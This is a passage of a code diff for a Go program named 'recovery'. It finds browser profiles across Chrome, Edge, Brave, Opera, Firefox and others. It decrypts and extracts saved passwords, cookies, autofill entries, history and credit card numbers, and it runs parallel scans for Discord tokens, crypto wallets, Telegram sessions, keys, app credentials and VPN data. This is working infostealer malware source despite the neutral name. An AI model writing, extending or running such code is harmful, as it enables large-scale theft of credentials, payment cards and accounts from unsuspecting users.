for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
prefPath := filepath.Join(root, e.Name(), "Preferences")
|
||||
if _, err := os.Stat(prefPath); err == nil {
|
||||
profiles = append(profiles, types.ProfileInfo{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(root, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
return profiles
|
||||
}
|
||||
|
||||
func findFirefoxProfiles(root string) []types.ProfileInfo {
|
||||
profilesDir := root
|
||||
entries, err := os.ReadDir(profilesDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var profiles []types.ProfileInfo
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
|
||||
profiles = append(profiles, types.ProfileInfo{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(profilesDir, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
return profiles
|
||||
}
|
||||
|
||||
func IsFirefoxProfileName(name string) bool {
|
||||
parts := strings.SplitN(name, ".", 2)
|
||||
if len(parts) != 2 {
|
||||
return false
|
||||
}
|
||||
suffix := strings.ToLower(parts[1])
|
||||
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
//go:build windows
|
||||
|
||||
package browser
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var Browsers = []types.BrowserConfig{
|
||||
// ── Chromium family (LOCALAPPDATA) ────────────────────────────────────────
|
||||
{Name: "Chrome", UserDataPath: `Google\Chrome\User Data`, ProcessName: "chrome.exe"},
|
||||
{Name: "Edge", UserDataPath: `Microsoft\Edge\User Data`, ProcessName: "msedge.exe"},
|
||||
{Name: "Brave", UserDataPath: `BraveSoftware\Brave-Browser\User Data`, ProcessName: "brave.exe"},
|
||||
{Name: "Vivaldi", UserDataPath: `Vivaldi\User Data`, ProcessName: "vivaldi.exe"},
|
||||
{Name: "Yandex", UserDataPath: `Yandex\YandexBrowser\User Data`, ProcessName: "browser.exe"},
|
||||
{Name: "Arc", UserDataPath: `Arc\User Data`, ProcessName: "Arc.exe"},
|
||||
// ── Opera (APPDATA, flat profile) ────────────────────────────────────────
|
||||
// ts doesn't work will fix in the future
|
||||
{Name: "Opera", UserDataPath: `Opera Software\Opera Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
|
||||
{Name: "Opera GX", UserDataPath: `Opera Software\Opera GX Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
|
||||
// ── Firefox family (APPDATA, Firefox profile layout) ─────────────────────
|
||||
{Name: "Firefox", UserDataPath: `Mozilla\Firefox`, ProcessName: "firefox.exe", UseAppData: true, IsFirefox: true},
|
||||
{Name: "LibreWolf", UserDataPath: `LibreWolf`, ProcessName: "librewolf.exe", UseAppData: true, IsFirefox: true},
|
||||
{Name: "Waterfox", UserDataPath: `Waterfox`, ProcessName: "waterfox.exe", UseAppData: true, IsFirefox: true},
|
||||
}
|
||||
|
||||
func GetLocalAppData() string {
|
||||
return os.Getenv("LOCALAPPDATA")
|
||||
}
|
||||
|
||||
func GetUserDataRoot(cfg types.BrowserConfig) string {
|
||||
base := os.Getenv("LOCALAPPDATA")
|
||||
if cfg.UseAppData {
|
||||
base = os.Getenv("APPDATA")
|
||||
}
|
||||
return filepath.Join(base, cfg.UserDataPath)
|
||||
}
|
||||
|
||||
func LocalStatePath(cfg types.BrowserConfig) string {
|
||||
return filepath.Join(GetUserDataRoot(cfg), "Local State")
|
||||
}
|
||||
|
||||
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
|
||||
root := GetUserDataRoot(cfg)
|
||||
|
||||
if cfg.FlatProfile {
|
||||
if _, err := os.Stat(root); err == nil {
|
||||
return []types.ProfileInfo{{Name: "Default", Path: root}}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
if cfg.IsFirefox {
|
||||
return findFirefoxProfiles(root)
|
||||
}
|
||||
|
||||
return findChromiumProfiles(root)
|
||||
}
|
||||
|
||||
func findChromiumProfiles(root string) []types.ProfileInfo {
|
||||
entries, err := os.ReadDir(root)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var profiles []types.ProfileInfo
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
prefPath := filepath.Join(root, e.Name(), "Preferences")
|
||||
if _, err := os.Stat(prefPath); err == nil {
|
||||
profiles = append(profiles, types.ProfileInfo{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(root, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
return profiles
|
||||
}
|
||||
|
||||
func findFirefoxProfiles(root string) []types.ProfileInfo {
|
||||
profilesDir := filepath.Join(root, "Profiles")
|
||||
entries, err := os.ReadDir(profilesDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var profiles []types.ProfileInfo
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
|
||||
profiles = append(profiles, types.ProfileInfo{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(profilesDir, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
return profiles
|
||||
}
|
||||
|
||||
func IsFirefoxProfileName(name string) bool {
|
||||
parts := strings.SplitN(name, ".", 2)
|
||||
if len(parts) != 2 {
|
||||
return false
|
||||
}
|
||||
suffix := strings.ToLower(parts[1])
|
||||
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package browser
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[browser] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,316 @@
|
||||
package chromium
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/crypto"
|
||||
"recovery/recovery/db"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
const HistoryLimit = 5000
|
||||
|
||||
func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.PasswordResult {
|
||||
var results []types.PasswordResult
|
||||
|
||||
for _, dbFile := range []string{"Login Data", "Login Data For Account"} {
|
||||
dbPath := filepath.Join(profile.Path, dbFile)
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
continue
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
rows, err := d.Query("SELECT origin_url, username_value, password_value FROM logins")
|
||||
if err != nil {
|
||||
d.Close()
|
||||
continue
|
||||
}
|
||||
for rows.Next() {
|
||||
var url, username sql.NullString
|
||||
var passwordBlob []byte
|
||||
rows.Scan(&url, &username, &passwordBlob)
|
||||
password := crypto.DecryptChromiumBlob(passwordBlob, keys.V10, keys.V20)
|
||||
if dbFile == "Login Data For Account" && password == "" {
|
||||
continue
|
||||
}
|
||||
if url.String != "" && (username.String != "" || password != "") {
|
||||
results = append(results, types.PasswordResult{
|
||||
URL: url.String,
|
||||
Username: username.String,
|
||||
Password: password,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
d.Close()
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CookieResult {
|
||||
dbPath := filepath.Join(profile.Path, "Network", "Cookies")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
dbPath = filepath.Join(profile.Path, "Cookies")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
logf("cookie DB open failed for %s (%s): %v", cfg.Name, dbPath, err)
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
rows, err := d.Query("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value, value FROM cookies")
|
||||
if err != nil {
|
||||
logf("cookie query failed for %s: %v", cfg.Name, err)
|
||||
return nil
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.CookieResult
|
||||
count := 0
|
||||
for rows.Next() {
|
||||
count++
|
||||
var host, name, path, plainValue sql.NullString
|
||||
var secure, httpOnly sql.NullBool
|
||||
var expiresUTC sql.NullInt64
|
||||
var encryptedValue []byte
|
||||
|
||||
rows.Scan(&host, &name, &path, &secure, &httpOnly, &expiresUTC, &encryptedValue, &plainValue)
|
||||
value := crypto.DecryptChromiumBlob(encryptedValue, keys.V10, keys.V20)
|
||||
if value == "" {
|
||||
value = plainValue.String
|
||||
}
|
||||
results = append(results, types.CookieResult{
|
||||
Host: host.String,
|
||||
Name: name.String,
|
||||
Value: value,
|
||||
Path: path.String,
|
||||
Secure: secure.Bool,
|
||||
HTTPOnly: httpOnly.Bool,
|
||||
ExpiresUTC: expiresUTC.Int64,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
logf("cookie row count for %s: %d", cfg.Name, count)
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
|
||||
dbPath := filepath.Join(profile.Path, "Web Data")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
queries := []string{
|
||||
"SELECT name, value, date_created, count FROM autofill",
|
||||
"SELECT name, value, count FROM autofill",
|
||||
"SELECT name, value FROM autofill",
|
||||
}
|
||||
|
||||
var results []types.AutofillResult
|
||||
for _, q := range queries {
|
||||
rows, err := d.Query(q)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for rows.Next() {
|
||||
var name, value sql.NullString
|
||||
var dateCreated, count sql.NullInt64
|
||||
switch len(strings.Split(q, ",")) {
|
||||
case 4:
|
||||
rows.Scan(&name, &value, &dateCreated, &count)
|
||||
case 3:
|
||||
rows.Scan(&name, &value, &count)
|
||||
default:
|
||||
rows.Scan(&name, &value)
|
||||
}
|
||||
if name.String != "" {
|
||||
results = append(results, types.AutofillResult{
|
||||
Name: name.String,
|
||||
Value: value.String,
|
||||
DateCreated: dateCreated.Int64,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
if len(results) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.HistoryResult {
|
||||
dbPath := filepath.Join(profile.Path, "History")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
queries := []string{
|
||||
fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition, v.visit_duration FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
|
||||
fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
|
||||
}
|
||||
|
||||
var results []types.HistoryResult
|
||||
for _, q := range queries {
|
||||
rows, err := d.Query(q)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for rows.Next() {
|
||||
var url, title sql.NullString
|
||||
var visitTime sql.NullInt64
|
||||
var transition, duration sql.NullInt64
|
||||
|
||||
if strings.Contains(q, "visit_duration") {
|
||||
rows.Scan(&url, &title, &visitTime, &transition, &duration)
|
||||
} else {
|
||||
rows.Scan(&url, &title, &visitTime, &transition)
|
||||
}
|
||||
|
||||
var visitTimeUnix int64
|
||||
if visitTime.Int64 > 0 {
|
||||
visitTimeUnix = (visitTime.Int64 - 11644473600000000) / 1000000
|
||||
}
|
||||
if url.String != "" {
|
||||
results = append(results, types.HistoryResult{
|
||||
URL: url.String,
|
||||
Title: title.String,
|
||||
VisitTimeUnix: visitTimeUnix,
|
||||
VisitCount: duration.Int64,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
if len(results) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
|
||||
bookmarkPath := filepath.Join(profile.Path, "Bookmarks")
|
||||
data, err := os.ReadFile(bookmarkPath)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var bookmarkData map[string]interface{}
|
||||
if err := json.Unmarshal(data, &bookmarkData); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var results []types.BookmarkResult
|
||||
if roots, ok := bookmarkData["roots"].(map[string]interface{}); ok {
|
||||
walkBookmarkNode(roots, cfg.Name, profile.Name, &results)
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func walkBookmarkNode(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
|
||||
for _, key := range []string{"bookmark_bar", "other", "synced"} {
|
||||
if child, ok := node[key].(map[string]interface{}); ok {
|
||||
walkBookmarkChildren(child, browser, profileName, results)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func walkBookmarkChildren(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
|
||||
children, ok := node["children"].([]interface{})
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
for _, c := range children {
|
||||
child, ok := c.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
switch child["type"] {
|
||||
case "url":
|
||||
name, _ := child["name"].(string)
|
||||
url, _ := child["url"].(string)
|
||||
if url != "" {
|
||||
*results = append(*results, types.BookmarkResult{
|
||||
Name: name,
|
||||
URL: url,
|
||||
Type: "url",
|
||||
Browser: browser,
|
||||
Profile: profileName,
|
||||
})
|
||||
}
|
||||
case "folder":
|
||||
walkBookmarkChildren(child, browser, profileName, results)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func ExtractCreditCards(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CreditCardResult {
|
||||
dbPath := filepath.Join(profile.Path, "Web Data")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
rows, err := d.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, nickname FROM credit_cards")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.CreditCardResult
|
||||
for rows.Next() {
|
||||
var name, nickname sql.NullString
|
||||
var expMonth, expYear sql.NullInt64
|
||||
var encrypted []byte
|
||||
rows.Scan(&name, &expMonth, &expYear, &encrypted, &nickname)
|
||||
|
||||
cardNumber := crypto.DecryptChromiumBlob(encrypted, keys.V10, keys.V20)
|
||||
if name.String != "" || cardNumber != "" {
|
||||
results = append(results, types.CreditCardResult{
|
||||
NameOnCard: name.String,
|
||||
ExpirationMonth: int(expMonth.Int64),
|
||||
ExpirationYear: int(expYear.Int64),
|
||||
CardNumber: cardNumber,
|
||||
Nickname: nickname.String,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package chromium
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[chromium] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,399 @@
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/chromium"
|
||||
"recovery/recovery/crypto"
|
||||
"recovery/recovery/discord"
|
||||
"recovery/recovery/firefox"
|
||||
"recovery/recovery/platform"
|
||||
"recovery/recovery/scanner"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
func mergeInto(dst, src *types.CollectionResult) {
|
||||
dst.Passwords = append(dst.Passwords, src.Passwords...)
|
||||
dst.Cookies = append(dst.Cookies, src.Cookies...)
|
||||
dst.Autofill = append(dst.Autofill, src.Autofill...)
|
||||
dst.History = append(dst.History, src.History...)
|
||||
dst.Bookmarks = append(dst.Bookmarks, src.Bookmarks...)
|
||||
dst.CreditCards = append(dst.CreditCards, src.CreditCards...)
|
||||
dst.DiscordTokens = append(dst.DiscordTokens, src.DiscordTokens...)
|
||||
dst.Files = append(dst.Files, src.Files...)
|
||||
dst.Wallets = append(dst.Wallets, src.Wallets...)
|
||||
dst.Telegram = append(dst.Telegram, src.Telegram...)
|
||||
dst.Keys = append(dst.Keys, src.Keys...)
|
||||
dst.AppCredentials = append(dst.AppCredentials, src.AppCredentials...)
|
||||
if src.Gaming != nil {
|
||||
dst.Gaming = src.Gaming
|
||||
}
|
||||
if src.VPNs != nil {
|
||||
dst.VPNs = src.VPNs
|
||||
}
|
||||
dst.Errors = append(dst.Errors, src.Errors...)
|
||||
}
|
||||
|
||||
func Collect(ctx context.Context, opts types.CollectOptions, partialFn func(*types.CollectionResult)) (*types.CollectionResult, error) {
|
||||
result := &types.CollectionResult{}
|
||||
|
||||
platform.ResetHandleCache()
|
||||
defer platform.ResetHandleCache()
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
wg sync.WaitGroup
|
||||
)
|
||||
|
||||
launchScans(opts, result, partialFn, &wg, &mu)
|
||||
|
||||
platformSetupCollect()
|
||||
defer platformTeardownCollect()
|
||||
|
||||
needsBrowserData := opts.Passwords || opts.Cookies || opts.Autofill ||
|
||||
opts.History || opts.Bookmarks || opts.CreditCards
|
||||
|
||||
type job struct {
|
||||
cfg types.BrowserConfig
|
||||
keys *types.ResolvedKeys
|
||||
profile types.ProfileInfo
|
||||
pids []uint32
|
||||
}
|
||||
|
||||
jobCh := make(chan job, 64)
|
||||
|
||||
// Launch extraction workers up front so they can consume jobs as soon as
|
||||
// each browser's keys resolve, instead of waiting for every browser's key
|
||||
// resolution (and its headless spawn) to finish first.
|
||||
const workers = 4
|
||||
for i := 0; i < workers; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("browser profile extraction", &result.Errors, &mu)
|
||||
for j := range jobCh {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
func() {
|
||||
defer recoverErrors(fmt.Sprintf("%s/%s extraction", j.cfg.Name, j.profile.Name), &result.Errors, &mu)
|
||||
partial := extractProfileData(ctx, j.cfg, j.keys, j.profile, j.pids, opts)
|
||||
mu.Lock()
|
||||
mergeInto(result, partial)
|
||||
mu.Unlock()
|
||||
if partialFn != nil && (len(partial.Passwords) > 0 || len(partial.Cookies) > 0 ||
|
||||
len(partial.Autofill) > 0 || len(partial.History) > 0 ||
|
||||
len(partial.Bookmarks) > 0 || len(partial.CreditCards) > 0) {
|
||||
partialFn(partial)
|
||||
}
|
||||
}()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if needsBrowserData {
|
||||
const keyWorkers = 3
|
||||
sem := make(chan struct{}, keyWorkers)
|
||||
var keyWg sync.WaitGroup
|
||||
for _, cfg := range browser.Browsers {
|
||||
profiles := browser.FindProfileDirs(cfg)
|
||||
if len(profiles) == 0 {
|
||||
continue
|
||||
}
|
||||
keyWg.Add(1)
|
||||
go func(cfg types.BrowserConfig, profiles []types.ProfileInfo) {
|
||||
defer keyWg.Done()
|
||||
sem <- struct{}{}
|
||||
defer func() { <-sem }()
|
||||
|
||||
logf("resolving keys for %s (%d profiles)", cfg.Name, len(profiles))
|
||||
keys, err := crypto.ResolveKeys(cfg)
|
||||
if err != nil {
|
||||
logf("%s key resolution failed: %v", cfg.Name, err)
|
||||
keys = &types.ResolvedKeys{}
|
||||
mu.Lock()
|
||||
result.Errors = append(result.Errors, fmt.Sprintf("%s key resolution: %v", cfg.Name, err))
|
||||
mu.Unlock()
|
||||
}
|
||||
pids, _ := platform.FindProcesses(cfg.ProcessName)
|
||||
|
||||
for _, p := range profiles {
|
||||
select {
|
||||
case jobCh <- job{cfg, keys, p, pids}:
|
||||
case <-ctx.Done():
|
||||
logf("collection deadline reached; stopping job producer for %s", cfg.Name)
|
||||
return
|
||||
}
|
||||
}
|
||||
}(cfg, profiles)
|
||||
}
|
||||
|
||||
go func() {
|
||||
keyWg.Wait()
|
||||
close(jobCh)
|
||||
}()
|
||||
} else {
|
||||
close(jobCh)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
if err := ctx.Err(); err != nil {
|
||||
note := fmt.Sprintf("collection interrupted (%v); results may be incomplete", err)
|
||||
result.Errors = append(result.Errors, note)
|
||||
logf("%s", note)
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func launchScans(opts types.CollectOptions, result *types.CollectionResult, partialFn func(*types.CollectionResult), wg *sync.WaitGroup, mu *sync.Mutex) {
|
||||
if opts.Discord {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("discord token extraction", &result.Errors, mu)
|
||||
tokens := discord.ExtractTokens()
|
||||
if len(tokens) > 0 {
|
||||
mu.Lock()
|
||||
result.DiscordTokens = append(result.DiscordTokens, tokens...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{DiscordTokens: tokens})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Files {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("file scan", &result.Errors, mu)
|
||||
files := scanner.ScanFiles()
|
||||
if len(files) > 0 {
|
||||
mu.Lock()
|
||||
result.Files = append(result.Files, files...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Files: files})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Wallets {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("wallet scan", &result.Errors, mu)
|
||||
wallets := scanner.ScanWallets()
|
||||
if len(wallets) > 0 {
|
||||
mu.Lock()
|
||||
result.Wallets = append(result.Wallets, wallets...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Wallets: wallets})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Telegram {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("telegram scan", &result.Errors, mu)
|
||||
sessions := scanner.ScanTelegram()
|
||||
if len(sessions) > 0 {
|
||||
mu.Lock()
|
||||
result.Telegram = append(result.Telegram, sessions...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Telegram: sessions})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Keys {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("key scan", &result.Errors, mu)
|
||||
keys := scanner.ScanKeys()
|
||||
if len(keys) > 0 {
|
||||
mu.Lock()
|
||||
result.Keys = append(result.Keys, keys...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Keys: keys})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Apps {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("app credentials scan", &result.Errors, mu)
|
||||
apps := scanner.ScanApps()
|
||||
if len(apps) > 0 {
|
||||
mu.Lock()
|
||||
result.AppCredentials = append(result.AppCredentials, apps...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{AppCredentials: apps})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Gaming {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("gaming scan", &result.Errors, mu)
|
||||
gaming := ScanGaming()
|
||||
if gaming != nil {
|
||||
mu.Lock()
|
||||
result.Gaming = gaming
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Gaming: gaming})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.VPNs {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("vpn scan", &result.Errors, mu)
|
||||
vpns := ScanVPNs()
|
||||
if vpns != nil {
|
||||
mu.Lock()
|
||||
result.VPNs = vpns
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{VPNs: vpns})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
func extractProfileData(ctx context.Context, cfg types.BrowserConfig, keys *types.ResolvedKeys, profile types.ProfileInfo, pids []uint32, opts types.CollectOptions) *types.CollectionResult {
|
||||
partial := &types.CollectionResult{}
|
||||
var (
|
||||
wg sync.WaitGroup
|
||||
eMu sync.Mutex
|
||||
errs []string
|
||||
)
|
||||
label := fmt.Sprintf("%s/%s", cfg.Name, profile.Name)
|
||||
|
||||
if cfg.IsFirefox {
|
||||
if opts.Passwords {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" password extraction", &errs, &eMu)
|
||||
partial.Passwords = firefox.ExtractPasswords(profile, cfg, pids)
|
||||
}()
|
||||
}
|
||||
if opts.Cookies {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" cookie extraction", &errs, &eMu)
|
||||
partial.Cookies = firefox.ExtractCookies(profile, cfg)
|
||||
}()
|
||||
}
|
||||
if opts.Autofill {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" autofill extraction", &errs, &eMu)
|
||||
partial.Autofill = firefox.ExtractAutofill(profile, cfg, pids)
|
||||
}()
|
||||
}
|
||||
if opts.History {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" history extraction", &errs, &eMu)
|
||||
partial.History = firefox.ExtractHistory(profile, cfg)
|
||||
}()
|
||||
}
|
||||
if opts.Bookmarks {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
|
||||
partial.Bookmarks = firefox.ExtractBookmarks(profile, cfg)
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
partial.Errors = errs
|
||||
return partial
|
||||
}
|
||||
|
||||
if opts.Passwords {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" password extraction", &errs, &eMu)
|
||||
partial.Passwords = chromium.ExtractPasswords(profile, cfg, keys, pids)
|
||||
}()
|
||||
}
|
||||
if opts.Cookies {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" cookie extraction", &errs, &eMu)
|
||||
partial.Cookies = chromium.ExtractCookies(profile, cfg, keys, pids)
|
||||
}()
|
||||
}
|
||||
if opts.Autofill {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" autofill extraction", &errs, &eMu)
|
||||
partial.Autofill = chromium.ExtractAutofill(profile, cfg, pids)
|
||||
}()
|
||||
}
|
||||
if opts.History {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" history extraction", &errs, &eMu)
|
||||
partial.History = chromium.ExtractHistory(profile, cfg, pids)
|
||||
}()
|
||||
}
|
||||
if opts.Bookmarks {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
|
||||
partial.Bookmarks = chromium.ExtractBookmarks(profile, cfg)
|
||||
}()
|
||||
}
|
||||
if opts.CreditCards {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" credit card extraction", &errs, &eMu)
|
||||
partial.CreditCards = chromium.ExtractCreditCards(profile, cfg, keys, pids)
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
partial.Errors = errs
|
